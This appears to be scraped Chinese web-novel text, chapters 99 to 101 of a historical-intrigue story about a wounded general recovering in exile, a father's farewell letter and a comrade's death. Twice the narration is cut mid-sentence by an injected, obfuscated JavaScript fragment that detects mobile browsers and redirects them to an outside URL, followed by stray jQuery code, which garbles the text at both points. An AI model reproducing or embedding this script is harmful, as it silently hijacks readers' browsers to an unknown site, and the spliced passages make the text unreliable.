崇宁闻言止不住的笑,可那笑越听越瘆人,她转身看着那女官,“告诉他们,如今这萧霖要当政,查抄家产还只是第一步,让他们好好想清楚要怎么做,不然别等着命没了托梦来问我个缘由。” …… 崔擎舟离开威岚坊,还没走出多远,突然听到自己身后有人叫他的名字。 “崔大人留步。” 崔擎舟回头,看到关策笑盈盈地迎上来。 “原是应该让崔大人休息几日我再亲自登门的,可这不是皇上催得紧,想要立刻得了情报好做部署嘛,劳烦崔大人随我走一趟?” 关策言辞恳切,他一脸笑模样崔擎舟也不好多说什么,只在路上问道,“皇上怎么突然转了性子,要管朝政了?” 关策笑着答,“人家毕竟是天子,为所欲为也是正常的,我们这种小人物做好自己的事,保住命就好了。” 崔擎舟应和道,“还是关大人通透,崔某受教了。” 关策脸上笑意更浓,“不过崔大人进京先去威岚坊,这事我不知道该怎么同皇上说。” 崔擎舟侧身看着关策,瞧见眼前的人没有丝毫情绪波动,不由觉得关策的确是蛰伏了这许多年,而不是真的没本事的。 “关大人照实说吧,长公主要见我,我也没有不见的本事,您说是不是?” 关策笑而不语,眼见着要到通政司了,他停下脚步面对着崔擎舟。 “陈京观,真的死了吗?” 99.枯木逢春(三) “他还没醒?” 陈京观不知道自己睡了多久,他好久没有这样心无旁骛地睡一觉了,他真的好累,他只觉得自己的身体像是生了根,把他紧紧固定在了床榻上,而他的眼皮也不听使唤,明明他总听到有人叫自己,可他就是醒不过来。 “命是保住了,就是有些内亏。他想睡就让他睡吧,醒来又是一堆事。” 陈京观分辨不出是谁的声音,他想要睁眼去看,但混沌的思绪让他又一次跌入无意识的虚无。 “我给北梁去了信,陆少主到重山了,他对外也宣称少将军是逃亡途中病故,再加之苏大夫的那张人皮面具,我想着该是能混过去了。” 陆少主……陈京观忘记自己最后一次见陆栖野是什么时候了,他失去意识之前好似落进了一个人怀里,那时候的陆栖野还在替他拦着追兵。 “那剩下的人呢?当真一点消息都没有?” 这次说话的是个女子,陈京观觉得不像席英,他在脑子里努力回想最后那仗的细节,可只能记起满鼻腔的血和腹部涌出来的温热。 剩下的人,是指谁?大家都还好吗? “你也先别担心,没消息就是最好的消息,穆家那两个都不是寻常人,一定能平安回来。” 穆家…… “咳咳。”陈京观被一阵猛烈的咳嗽惊醒,他皱着眉缓缓睁开眼,只瞧见自己床榻旁围了许多人。 “不是说他不能着凉吗,进来的时候把门帘塞紧些啊。” 苏清晓拍了平芜一把,平芜脸上的愧意映在陈京观的眼睛里。 “我没事了,透透气也挺好的。” 陈京观勉强地扯着嘴角,目光扫过所有人的脸,最后停在了沁格处。 “多谢别吉救命之恩,”陈京观说着就要起身行礼,硬是被苏清晓压回了床上,“我没事了,睡了一觉好多了。” “你是好多了,丢下这么一个烂摊子可把我们忙死了。” 苏清晓故作嫌弃地白了陈京观一眼,陈京观笑着应下了,“多谢各位不弃,我陈京观下半辈子给各位当牛做马。” 苏清晓自从和陈京观扫清了心中的误会,又变得像小时候一般爱趁口舌之快,只是他们两个人心里都明白隔阂还在,苏晋、温书让,这些人的存在已经让他们回不到从前了,可能装傻一日是一日,他们谁都不想挑破这破镜重圆的幻觉。 不过陈京观这话一出,倒是帐篷里瞬间没了声音,陈京观朝四周看了看,问,“我方才听说栖野回北梁了?如今他与元煜摊了牌,他回北梁要小心。” “合着你早就醒来了,装呢?”苏清晓没好气的抱怨了一句,过去将陈京观不安分的手又塞回被子里,“陆少主带了剩下的人从平州入境,在平州的地界没有人敢动他。刚才他回了信,说是带着队伍回重山休整,也顺便将情况与林大人说一声。” 陈京观点头,又继续问,“剩下的人,剩下了多少人?” 一时间屋子里没人答他,好似连空气都冷了几度,站在人群最外面的席英犹豫片刻后开口,“平远军还剩三百四十二人,都由陆少主带回去了,董将军战死,来接应我们的穆远山、穆云山下落不明。” 沁格在一旁根本拦不住席英,席英执拗地把一切告诉了陈京观,她朝床榻走近,“哥,这是你想要的结果吗?” “董将军战死?” 陈京观没有立刻回答席英的话,他只觉得自己的脑袋被人打了一拳,刚开始没什么感觉,可慢慢这句话回荡在他脑海中。 董辉,死了。 …… 那日席英和苏清晓背着已经没了知觉的陈京观一直朝北跑,他们指望越过泯川江去北梁的地界避难,可真当他们到江边的时候,那条贯穿三国的桥却被拆毁了。 席英只觉得脑子一片空白,他们身后的追兵近在咫尺,偏偏祸不单行,眼前突然出现一支军队。 或是和陈京观呆久了,向来悲观的席英第一次觉得自己命不该绝,她不顾苏清晓的阻拦朝那人群跑去,走近一看,发现了一张玄鸟旗。 这天空之下,唯有西芥的别吉是永远的玄鸟。 席英松了一口气,她不知道自己是否应该感到庆幸,她朝苏清晓解释了旗子的含义,而眼前的人见到他们,迅速将旗子收了回去。 队伍最前面的穆晓山一把接过陈京观,两年不见,当初那个只会跟着哥哥狐假虎威的小子成了这队伍名副其实的副将,在他身后,穆远山带着大部队继续向前。 “席英姐是吗?别吉让我们来接你们回家。” 穆晓山脸上是少年意气风发的笑容,席英看到的时候突然有些晃神。 “是。”席英一顿,“少将军受了重伤,需要立刻找个地方医治,我们的人还在后面阻击,我带你们回去。” 席英刚要动身,她的手腕被一股力量抓住,她抬眼看到苏清晓。 “你身上的伤也很重,你也需要治病。” 苏清晓的语气不容置喙,席英本想反驳,可一旁沉默的穆云山突然开口,“当初少将军给了我们第二次生命,是我们报恩的时候了。姑娘放心,你们会安全到达西芥。” “可是……” 席英的话还没有说完,苏清晓牵住了她的缰绳,他们跟着穆晓山的小队往敬安山的方向跑去。 “敬安山招降后归属了崇州,崇州易帜的时候兄弟们不服,那群留在敬安山的人就反了。如今我们是以敬安山土匪的身份来救你们的,名义上是趁火打劫。” 穆晓山一边朝前走一边解释,苏清晓不禁感叹道,“想出这个主意的人真厉害。” “是我二哥的主意,就方才那个说话的人。” 穆晓山提起哥哥满脸骄傲,苏清晓又夸赞了两句,他回头看着沉默的席英,问:“你在担心什么?” 席英咬着嘴唇,神色慢慢淡了下去,“江阮不是那么好骗的,我们跑了他肯定会有所察觉,兄长说过,这是在给西芥惹麻烦。” 苏清晓没说话,倒是穆晓山安抚道,“少将军的心意别吉明白,可如今的别吉不再是那个只会跟着父兄的小公主了,她是西芥真正的王,她能让我们带兵出来,是因为她也想从这战争里分一杯羹。当然,其中更有她对少将军的感恩。” 席英点了点头依旧没有说话,穆晓山便用一种更为愉悦的语气说:“别吉说席英姐心思缜密,如今一看倒是贴合。我觉得你和少将军好像。” 席英笑了笑,“估计是呆在一起日子久了。” 苏清晓侧身看了一眼席英,他从席英脸上看到了更深一层的情绪。 “你是担心剩下的人?” 席英点头,“他们都是叫过我小将军的,我却抛下他们跑了。” 苏清晓哑声了片刻,盯着席英说:“可也是你凭一己之力冲进人群保下了陈京观,你尽力了,你应当问心无愧。人被情感牵动在所难免,但我们的选择不该被情绪左右。当时你若冲回去,换来的只可能是更多一条命的伤亡。陈京观还需要你,他很需要你。” 席英回望着苏清晓的眼睛,发现他眼底带着一汪浅浅的水色,她的影子在那双眸子里清晰可见。 “那你有想过怎么坐实我们的死吗?看不到兄长的尸体,他们不会罢休的。” 苏清晓沉吟片刻,抬头问穆晓山,“我们最快什么时候能进山?” 穆晓山回:“天黑之前。” 苏清晓点了点头,又继续思索着,片刻后他抬眸,席英瞧见他眸子一亮。 “我们把陈京观弃尸泯川江吧,让他顺着江水漂回朔州。” 苏清晓这话一出,连带着穆晓山都勒马止住了脚,可苏清晓轻笑了一声,“他都是死过一次的人,怎么就不能死第二次呢?找个和他身材相仿的,我今晚到了就去熬浆水晒模,明天人皮面具一套,再把人往水里泡一会儿,保准谁也看不出来。” “你怎么连这些都会?” 穆晓山笑着问,继续向前带路,苏清晓倒是愣了愣,“说来我和江阮认识,就是因为我向他请教东亭异闻录里的秘术,他这个人的脑袋就像个无底洞,你永远不知道他关于知识的限度在哪。” 苏清晓说罢叹了口气,席英冷不丁接上,“可秘术最开始一定不是为了杀人而研制的,不过是用它的人起了歪心思。你不比江阮差。” 苏清晓没应声,可他嘴角却不经意间露出微笑。 另一边,穆远山和穆云山从背后切断了元煜的退路,元煜被前后两支军队夹在中间。 “你们是谁!” 元煜朝穆云山喊道,穆云山只是轻笑一声,“来收你们的人。” 元煜发了狠,立刻掉转马头朝穆云山的方向跑去,穆云山腿脚不便,整个人只能依靠马儿,穆远山瞧见来者不善,立刻将弟弟护在身后,实打实接了元煜一刀。 “就你这细皮嫩肉的,还是回去继续做养尊处优的公子哥吧。” 穆远山嗤笑着,立刻挥动手里的长刀朝元煜砍去,元煜侧身一躲,空气中划过一阵凉风。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083412|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是北梁派出来的军队,你们想清楚了。” 这次轮到穆云山嘲讽一笑,他拉着缰绳站在人群中,朝元煜扬了扬眉毛,“这北梁没了陆家军,果然就是一群欺软怕硬的主,你们现在撤兵,我可以给你们让路。” “你们到底是谁?” 穆云山轻声道,“敬安山,忠义帮。” 元煜听到穆云山的话立刻哈哈大笑,可他的笑声很快被打断,因为穆云山见他死性不改,招手令全军出击。 一时间,整个战场的三个阵营各打各的,元煜被夹在中间也是尝了一把陈京观的滋味,到最后他索性放弃与穆氏兄弟争斗,集结所有人马围住了所剩不多的平远军。 此时的董辉终于看到了远处的穆氏兄弟,但是他没有声张,他知道陈京观得救了。随后只见董辉突然朝元煜刺去,他的动作快到丝毫看不出他已经是快五十岁的人了。 元煜躲闪不及,被董辉一刀看到了肩膀,顷刻间血红染透那件白衣,元煜咬着牙用左手挥刀,朝董辉劈过去,同时跟在他后面的人将董辉团团围住,又是那招搂网打兔子的招式。 陆栖野转身时,看见董辉正陷在包围圈中,他和迷津只身朝人群奔去,努力为董辉撕开一条口子,但很快又有更多人围了上来。 “唰——”,陆栖野再抬头时董辉倒了下去,不远处是元煜轻轻挑眉,“我不会再失手了。” 那一刻,桑柘的死,董辉的死全部冲上了陆栖野的大脑,他变得不顾一切,领着迷津和檞枳从三个方向朝元煜冲刺,同时,穆氏兄弟将元煜的人逼到了江边。 “元煜,跟我回去向皇上认罪。” 陆栖野眼神冰冷,他手里的刀好似下一秒就要划破元煜的喉咙,可元煜依旧一副胜券在握的模样,“好啊,我可是他的亲儿子。” 说罢,元煜扔掉了手里的刀,立刻作出臣服的样子。 “陆少主,我也是受人蒙骗,也是被人当枪使了,您饶我一命。” 元煜变脸的速度让陆栖野猝不及防,他在拿起刀的瞬间想起了桑柘的话,他努力抑住心头的恨,问:“何人指使?” “丞相,孔肃。” 陆栖野眉头一皱,他当然明白孔肃和元煜的关系,这两个人应该是一根绳上的蚂蚱,元煜此刻反咬一口,他是寻到了新的靠山吗? 元煜见陆栖野不答,缓缓朝他走过来,轻声说:“此刻你和我一同回北梁,这是你最好的选择。你要是杀了我,我就会带着夺权的秘密埋进土里,你会因为谋杀皇子而死,你此时和我一同回去,既能借我的手扳倒孔肃,又能让这一仗就此罢手,两全其美。” 元煜说的没错,可陆栖野不甘心。 放元煜回去,他就永远没有给桑柘和董辉报仇的机会了。 为陆家,为北梁打了一辈子仗的两个人,到头来死在了自己人手里,甚至没有人能为他们鸣冤。 原来这就是我爱着的国家,陆栖野觉得唏嘘不已。 陆栖野抬头朝穆氏兄弟使眼色,穆云山明了地点头,默契地为他们让出一条路。 元煜走过穆云山身边的时候,他的眼神就像是奄奄一息亟待反扑的猎物,穆云山没有理会他,而是走到了陆栖野身边。 “上次西芥一别,再也没有见到过陆少主,别来无恙。” 陆栖野微微一笑,“云山兄好久不见,是别吉让你们来的?” 穆云山点头,“也是我们自己的意思,我们都受恩于少将军,不可能见死不救。” 陆栖野没有说话,此刻他第一次真切感受到了陈京观的善意原来有如此魔力,能让一国之君为他出兵,能让曾经的匪寇为他拼命。 “不过我们不是以西芥兵的名义来驰援,还请陆少主保密。” 陆栖野一愣神,立刻明白了其中意思,他笑着点头,“那是自然,你们现在于我来说也是救命恩人。” 穆云山笑而不语,和陆栖野一前一后走着,突然他开口问道:“少将军怎么就这么相信南魏?” 陆栖野不知道该怎么回答,片刻后他低下头应了一句,“可能是不想证明他父亲是错的吧。” …… 朔州城墙,日出时分江阮起来用早膳,他叫醒了晏离鸿,和他说了昨晚荒诞又刺激的战局,提到元煜的时候江阮的语气十分轻佻。 “你要保他吗?晏离鸿问。 江阮微微勾起嘴角,“你怎么知道我是真的要帮元煜,你又怎么知道他就不是我的一枚棋子?他的用处结束了,他也该死了。” 100.枯木逢春(四) “谁干的?” 陈京观喉咙干涩,许久滴水未进让他觉得胸中有团火越烧越旺,他挣扎着靠在榻上,腰腹处的伤口被挤压又渗出血,他将被子往上拉了拉,掩住了自己的伤情。 “元煜。” 席英语气冷漠,她尽力抑住鼻腔里的酸涩,继续道:“你下一步打算怎么做?” 席英咄咄逼人的态度让陈京观彻底从长久的梦境中清醒,他嘴巴动了动,却什么话也没说出来。 “先让他再休息两天,日子还长,这次要考虑清楚了。” 苏清晓嘴上替陈京观解围,推着剩下的人往外走,可陈京观听得出他最后这句话的意思,人都走到门边时他回头给了陈京观一个眼神,陈京观不自觉地下了头。 “你也不用非逼他现在得出个办法,这件事情他尽力,可情况就是这样,结果也就是这样,他的心理负担不比我们任何一个人少。” 苏清晓转身将帘子掩好,轻声对席英说。席英摇头应道:“我不是非要他现在立刻起来反击,我只想要他的一个态度。经历这么多,死了这么多人,南魏他还信吗?他还救吗?仅此而已。” 一旁的沁格缓缓伸手搂住席英的肩膀,那细小的颤动被吸纳进沁格的怀抱。苏清晓沉默片刻后说:“那你还信他吗?如果他的选择还是如此,你还帮他吗?” 席英不答,她低头望着脚底下的青草,她看着风吹动那草苗轻轻摆动,她心里有答案,可是她不想说。 行至今日,席英也不甘心。 “你知道吗?你很有可能是江阮拉拢的下一个人。”苏清晓道,“如果这一仗再打迟些,他会来找你的。” “为什么?”席英抬头盯着苏清晓。 “因为你现在的想法,或者说你一直以来的想法和江阮是相同的,以牙还牙,将自己受到的伤痛全部还回去,你们不在乎别人怎么看,你们想要的是自己心里的那个答案。席英,我说的对不对?” 苏清晓微微倾身,拉近了自己和席英的距离,席英下意识咽了咽口水,露出被猜中心事的仓皇。 说实话,席英一直不理解陈京观的所作所为,她也是被南魏抛弃的人,她能切身体会到陈京观所想的一切,可她做不出陈京观所做的事。 她不理解陈京观为什么能被人逼着放弃努力了那么久的官位,她知道陈京观不在乎这些虚名,可那是他进入南魏核心的钥匙,他却用那钥匙开了粮仓的门。 她不理解陈京观为什么能一而再的信任萧霖,明明陈频的降罪诏书上就是萧霖的玺印,纵使萧霖把一切都推到了崇宁身上,可若萧霖真的不想做,这世上没有人能逼他,归根究底还是他的懦弱。 她更不理解陈京观对江阮的心软,她明白陈京观是个很容易与旁人共情的人,他同情世间万物,怜悯一切苦难,也正因如此她才能获得新生,可江阮的卑劣和不择手段陈京观很早就见识过,他却好似视而不见。 穆云山说自己和陈京观很像,席英这些日子思来想去在琢磨这句话,她觉得是因为自己和陈京观相处久了,不知不觉染上了一丝悲悯。 可席英觉得这点悲悯会要了她的命,因为陈京观就差点因此而亡。 “对,我本质上就是和江阮一样冷血的人,如果我先遇上的是江阮,我会是他最好的刀,我也会比现在痛快百倍。” 席英的语调不自觉升高,可苏清晓却露出笑意,“你在说谎。” 苏清晓盯着席英的眼睛,一字一顿地说:“即使现在江阮拉拢你,你也断不会接受他的邀请,而纵使你最开始遇到的是他,你现在也会选择离开。陈京观说过你和我很像,你知道我为什么离开吗?” 席英一动不动地看着苏清晓,眼前的人深吸一口气,有些怅惘地说:“我们和陈京观一样都成不了江阮,因为我们都没有办法真正狠下心。你会因为董将军质问陈京观,这已经能说明一切了。或许你会觉得是陈京观影响了你,其实不然,陈京观只是诱发了你心里的感情,你本就如此。” 苏清晓停顿片刻,有些恍惚,“陈京观身上有一种难以掩饰的光,其实就连江阮也曾经畏惧过,那光会让人自惭形秽,会让人想要趋向光明。” 所以席英才会在看到小女孩的时候情不自禁想给她自己最好的东西,才会在听到医庐里那个大妈说起自己分崩离析的家时给她安慰,席英不擅长爱人,但是她有源自心底的善良。 “而且我相信陈京观,他是善良,可他不是黑白不分,他有自己的坚持,也有自己的原则,我们给他些日子,也给我们彼此一些喘息的机会。前些日子大家都太累,去好好休息一下吧。” 苏清晓说着,给沁格使了个眼神,沁格了然地点头,拉着席英朝自己的帐篷走去。 如今快到秋日了,西芥的草场慢慢开始黄压绿,估摸着再有一个多月牧民就会搬迁到岭扬江的上游。 苏清晓看着两个背影慢慢走远,他回味起方才说给席英的话,其实这是他这些日翻来覆去睡不着时说给自己的,他问自己选择投靠陈京观错了吗,他问自己究竟想要什么,他看着床榻上的陈京观,心情十分复杂。 后来还是沁格告诉他的,“陈京观会有好报的,长生天都看得到。” 苏清晓也觉得是,不然若这个世界全部充满着阿谀我诈,不死不休,那才是真的完了。 “来吧,我们再说说你。” 苏清晓长叹一口气推帘进去,陈京观还保持着刚才的姿势,苏清晓知道他忍着痛,因为他鬓角已经出了许多汗。 “躺下,换药。” 苏清晓的话不容置疑,陈京观缓缓点头滑进被窝,苏清晓被他的动作逗笑,为他上药的时候刻意使坏,惹得陈京观倒吸了一口凉气。 “要不你弄死我吧。” 陈京观眼神幽暗地看着苏清晓,苏清晓瞪了他一眼,“你的命现在归席英了,是她把你从死人堆里抢回来的,你这话只能对她说。” 陈京观不出声了,苏清晓看了他一眼继续道,“她也不是真的怪你,她毕竟才十七,这两年跟着你东奔西跑,她是最了解你经历了什么的人,她只是替你不甘心。” “我知道,”陈京观将自己的衣领扣好,“可也因为是她陪我走到现在,我觉得倒是我拖累了她。” 苏清晓微微挑眉,长叹一口气,“你们俩,真的越来越像一个妈生的了。” 陈京观苦笑着,“我当时捡她回去是想着让她同寻常小姑娘一样太太平平长大,我没想着她给我卖命,她前半辈子够苦了,活下来就该享享福。” “你啊,”苏清晓替陈京观把被子盖好,无奈地摇头道,“尊重所有人的选择吧。每个人做决定的时候考虑的东西都不一样,你不要想着替任何人做决定。当然,我们也不会怪你的。 苏清晓顿了一下,“不过席英的话你倒真应该想一下了,我是不在乎,我喜欢西芥,我能在这住一辈子,你呢?真能放弃?” 可不放弃,我还能做什么? 陈京观静静思索着苏清晓的话,不知为何, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087679|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想到的还是最开始出发时候的那两个字。 报仇。 只不过他不会只盯着崇宁了,他现在还背着平海、温书让、桑柘、董辉,以及那一万平远军的命。 这一次,陈京观不打算做什么救世主了,他只想报仇。 如果只有做个恶人才能达到目的,那我真的做不到吗? 陈京观想着,突然感觉自己这两年过的可悲又可笑。他抚着眉头,眼前那些熟悉的脸一张张滑过去,他仿佛提前看了一遍走马灯。 人顾及的东西太多,想要的东西太多,最后就什么都得不到了,陈京观现在明白这句话了。 “苏先生,阙州驿急报,平统领让我直接送到您这。” 门口突然响起驿兵的声音,苏清晓和陈京观对视一眼,苏清晓转身拉开了帘子。 “送信的是我们的人还是南魏朝廷的人?” 驿兵摇头道,“消息是混在军报里送过来的,先前就送往营地了,打完仗应苏先生嘱咐我们没有继续情报搜集以免暴露行踪,所以一直没有发现。这些日子我们重新召集了散布各处的谍子,在中转站找到了这封急报。” 苏清晓应了一声接过信,示意驿兵可以先退下了。他手里握着信封,心里却好似已经有了预感,他摸着那不同以往军报的质感,久久没有动作。 “你觉得是谁?”陈京观抬头看着苏清晓,“这场仗应该没有人觉得我们会活下来。” 苏清晓点头,却依旧一言不发,他用手指慢慢摩挲着绢布,看着那个熟悉的打结方式,半晌后,他小心翼翼拉开,一眼看过去瞧见四个字:“吾儿亲启”。 那一瞬苏清晓像是被战场上最后一支箭射中了心脏,他已经记不得多少年没有回过家,他也不知道写信之人又添了多少白发,明明他还没有打开信封,却已经双手打颤。 “是父亲。” 苏清晓小声说道,随后坐在了背对着陈京观的椅子上,他动作很缓,好似很怕看到信上的内容,可即使他再慢,那洋洋洒洒的一封长信还是出现在他手上。 “小凤麟,见字如面。吾此生行错之事数数,每念及常痛心疾首,可唯独保下汝,时至今日仍未有悔。 “汝骂为父贪生怕死,吾认,时陈孟两家一朝跌落,满朝动荡,昔日高门贵府一夜成漫天飞烬,旁人皆觉吾会步其后尘,可吾不想拉着汝陪葬。吾儿八岁,是这阙州幼龄翘楚,吾甚欣慰。吾自知才情有缺,可奈何吾子天赋极高,汝不该殒命于权斗。是故吾一把火烧了孟家,烧了吾半生挚友情,却未曾想也烧断了父子情。” “自古忠义皆短命,刀剑之下存冤魂。吾知汝与景豫欲为南魏改天换地,此乃大义,亦为吾未做成之事,只是今之南魏,人人皆清楚,长公主霸政,皇帝怯懦,朝堂之人各有其营算,想救此顽疾,需当以血为引。可为父者,先记其子后记其业,吾乃将死之人,只求汝平安归来,无他愿。” “吾此生将人言奉为天理,故而于政避而不应,于事避而不为,实愧为南魏大学士之名。今战事紧张,不知汝见此信时,是吾身故何时。此战难胜,错不在汝与景豫,乃是病入膏肓之南魏。此信落笔之时,吾已下定决心回京死谏,纵不能换圣心回转,也盼能为汝搏一线生机。吾想做那血引,引得雷霆万钧。崇州兵变,阙州缺位,南魏高堂空悬数十年,实属父辈之过,吾以生之余力,求个死得其所,唯愿汝能再见南魏煌煌之时,余生康乐,万事顺意。” “万阳二十一年七月初七,苏晋绝笔。” 101.枯木逢春(五) 父亲。 早在看到那句“小凤麟”时,苏清晓已经红了眼眶。那是苏晋给他的字,他觉得自己的儿子总有一天会被天下人知。 苏清晓的泪止不住地流,他别扭了快十年,也怨恨了快十年,他每每想到苏晋总是带着埋怨和不屑,可他现在知道了,原来在苏扬身上没有得到过一点父爱的苏晋,一直在笨拙地爱着自己。 苏清晓自诩清楚地知道苏扬的为人,也亲眼目睹了苏晋做事,于是他先入为主认为自己也不过是苏晋换功名的棋子,他讨厌父亲看着自己的眼神。 原来,那眼神里真的是欣赏,是怜爱,甚至是羡慕,却唯独不是利用。 那时满脸泪痕的苏清晓跑到苏晋面前苦苦哀求父亲救一救孟家,苏清晓以为苏晋看到的是威胁,可实际上苏晋看到的是苏清晓被缚住,浑身上下全是血污,一步一步走上刑台。 他不能允许这样的事情发生。 于是苏晋趁夜色潜入孟家的院子,一把火烧掉了所有。 比起孟知参,他们苏家那些不为人知的罪名足够诛九族。 苏晋听着外面人声嚷嚷,看着不远处的孟宅闪着火光,他好似也把自己埋进了那场大火,同过去的所有过往一起化作尘埃。 苏清晓会恨自己吗?苏晋苦笑着,儿子喜欢孟家的姑娘,他心里也跟着欣喜,可他此时要先保证苏清晓能活下来,至于其他的,他愿意在真相大白那天受世人唾骂。 世世代代都被名誉所禁锢的苏家,偏偏出了苏晋。 说来荒谬,苏晋心里竟真期盼着那一天的到来。届时他会将被捧上神坛的苏扬拉下来,看他粉身碎骨,让他给曹殊和自己赔罪。 只是苏晋没想到,从小被苏氏风气浸染的苏清晓比他更绝情,十三岁时苏晋失去了他最爱的儿子,苏清晓离家后从此与他形同陌路。 但是苏晋不后悔,至少苏清晓还活着,这就足够了。 苏清晓泣不成声,陈京观望着他起伏不定的肩背也猜到了些,他试探着开口:“是苏叔叔?” “嗯,他死了。” 陈京观心脏一紧,“崇宁做的?” 苏清晓背着身摇头,“他以死谏,想逼崇宁派兵。” 陈京观觉得自己在那一刻像是彻底脱了力,他脑海中还是中秋那晚酩酊大醉与自己吐露过去的苏晋,他笑着看陈京观,陈京观在他的身上找陈频的影子,而苏晋在陈京观的身上找苏清晓的影子。 他们像是两个被回忆定住的墓碑,看上去可怜又孤独。 “那你现在还恨他吗?” 苏清晓没有回答,他手里紧紧攥着这封信,眼泪模糊掉了“绝笔”这两个字,可这两个字早就印在了苏清晓心里。 “这世界上有太多事,只有当我们被真相撞碎的时候,才真的看到真相。在此之前,我们都在用臆想刻画所有人。” 陈京观说着,想到了萧霖。那他的真相,陈京观真的看到了吗?被背刺之后,陈京观应该认命吗? 片刻后,苏清晓启声:“其实后来我也说不上是怪他还是不敢面对他,我常常想到他对我的好,可反而是这些好让我不敢回去,我怕回去了发现是我错了,那然后呢?我过不了心里那道坎,其实终究还是我在怪自己没有能力保下孟家,父亲不过是我的挡箭牌。” 人总会在最无力的时候假想出一个敌人,从而把对自己的恨转嫁到别人身上,陈京观觉得自己看陈频的时候也是这样。 如果他今日没有兵败,而是站在了南魏的朝堂上成了救国将军,他会不会感激父亲为他谋划的一切,会不会认为陈频是南魏的大英雄? 陈京观从小就觉得陈频是南魏的大英雄。 “陈京观,我们什么时候才能不在失去后才追悔莫及?” 苏清晓的问题让两个人陷入沉默,他们各怀心事坐在密不透风的帐篷里。 八月的西芥说热不热,说冷不冷,两个人都慢慢冒了汗,心事像是随着汗珠蒸出身体,让他们不得不直面。 “那苏叔叔的后事……” 陈京观小心翼翼地问,苏清晓转瞬明白了其中的意思,他走出帐篷寻找平芜,没过多久两个人一同回来了。 “我想着既然苏伯父的信能送进来,那势必有关他的事情一定有人上报过,我就在阙州寄回来的情报上找了找,看到谍子提了一句苏伯父的后事是萧霖办的,只是他没有出面,是托了甄大人为苏伯父在景州选了一块地,”平芜停顿了一下,补了一句,“离哥哥所在的桃园不远。” 平芜提到平海的时候神色如常,陈京观抬头看他,平芜朝他笑了笑,“消息是我们留在阙州的那个伙计传回来的,我没有同关策联系。” 见陈京观面有疑色,平芜解释道,“那个伙计说甄符止、关策和莫汝安最近和萧霖走得很近,南魏朝堂换了好些人,许多手脚不干净的都被带到了刑部大牢。我们如今看不清萧霖的态度,所以我觉得我们也要暂时和这三个人保持距离。” 陈京观点头道,”谨慎些是好的,谍子的事情全权交给你。还有一件事,”陈京观一顿,“南魏最后有派援兵吗?” 苏清晓看着陈京观,读懂了他的意思,他瞧着平芜,看见平芜点了点头。 “战事结束,崔擎舟带了兵去过泯川江,应该是崇宁授意。” 所以到底是苏晋的死谏起了效果,还是崇宁想去看看自己到底死没死,陈京观一时想不清楚,不过无论哪个,他都喜闻乐见。 他由衷希望苏晋的死能如他所愿,至少这样能让苏清晓好过些,而崇宁生性多疑,她派了崔擎舟去看,应该会相信自己已经身死的结果。 陈京观微微向后靠,整个人倚在床边,这许多的消息一拥而上,让他刚恢复运转的大脑行将停摆。 他没有看懂萧霖的动作,他拉拢的这三个人无疑是与陈京观有关的,也就是与崇宁相悖的,那这是不是可以说明萧霖要开始采取行动了? 可为什么呢?就因为他死了吗? 陈京观不禁笑出声,他突然想到苏清晓刚说过的那句话。 果然,还是死人更让人难忘。 “回来了!人回来了!” 突然,帐篷外面开始吵闹起来,苏清晓转身拉开帐帘,给陈京观留了一条小缝隙,陈京观透着光看到外面人影憧憧。 “怎么了?”陈京观问。 “你躺好,我俩去看看。” 苏清晓带着平芜朝外走,正好撞上了闻声赶来的沁格。 “席英看顾陈京观好几日了,我刚把她安抚着睡着,我听着有些吵就来看看。” 沁格说着,可她脸上的表情却抑不住半分。苏清晓没有拆穿她的借口,跟在她身后往人堆里跑。 “人都回来了吗?” 沁格小心翼翼地问,可她越往中间就心就越沉,直到看到穆远山抱着穆云山的尸体。 “……他,怎么了?” 沁格努力站住脚,整个人像是被人扔到了冰窟里,她又朝穆云山的位置走了两步,看到那膝盖深可见骨的伤口和他脖子上的红印。 “我们从路过廊州的时候被人埋伏,他的马受了惊,就把他摔在了地上。我要去救的,可后面有人朝他扔了绳索,我追得越紧,他们就跑得越快,”穆远山一度哽咽到说不出话,“我看到他朝我笑了,他向我摆手让我跑,后来他就不动了。那些人砍断了绳索,跑了。” 围在他们身边的人全都红了眼眶,时不时有抽泣声响起,沁格想哭,可她发不出一丝声音,她听到最后只剩下一脸不可思议和难以接受。 “元煜?” 穆远山摇头,“看着不像是正规军,可是他们绝对是有预谋地伏击。” 所以穆云山借了土匪的名义,最后让土匪夺了命,沁格觉得老天爷给她开了一个天大的玩笑。 沁格不断深呼吸,努力让自己把眼泪逼回去,她走到穆云山身边,脱下披风盖在他身上,犹豫片刻,她用手轻轻擦掉了穆云山脸上的污垢。 穆云山的死状不算安乐,可沁格只觉得他是在看着自己笑,不知不觉她也勾起嘴角,就一下一下摸着穆云山的脸。 “别吉,放手吧。” 穆远山死死压住喉咙里的呜咽,沁格点头,向后退了一步,给穆远山让出一条路。其余人也默契地开道,给了穆云山英雄凯旋的敬意。 “明日清早,我亲自送他入陵寝,把他葬在王家墓园。” 穆远山的身影一滞,轻声说了一句“谢谢”。 等所有人随着穆远山离开,沁格才彻底抑不住地开始哭。她不是一个爱哭的人,恪多死的时候她都忍住了,可看到穆云山那副样子躺在自己面前,她没办法接受。 为什么偏偏是他?为什么偏偏要在她喜欢上他的时候,他死了? 沁格最开始对穆云山并没有其他意思,他是陈京观留给自己的谋士,仅此而已。对穆云山而言,也是如此。 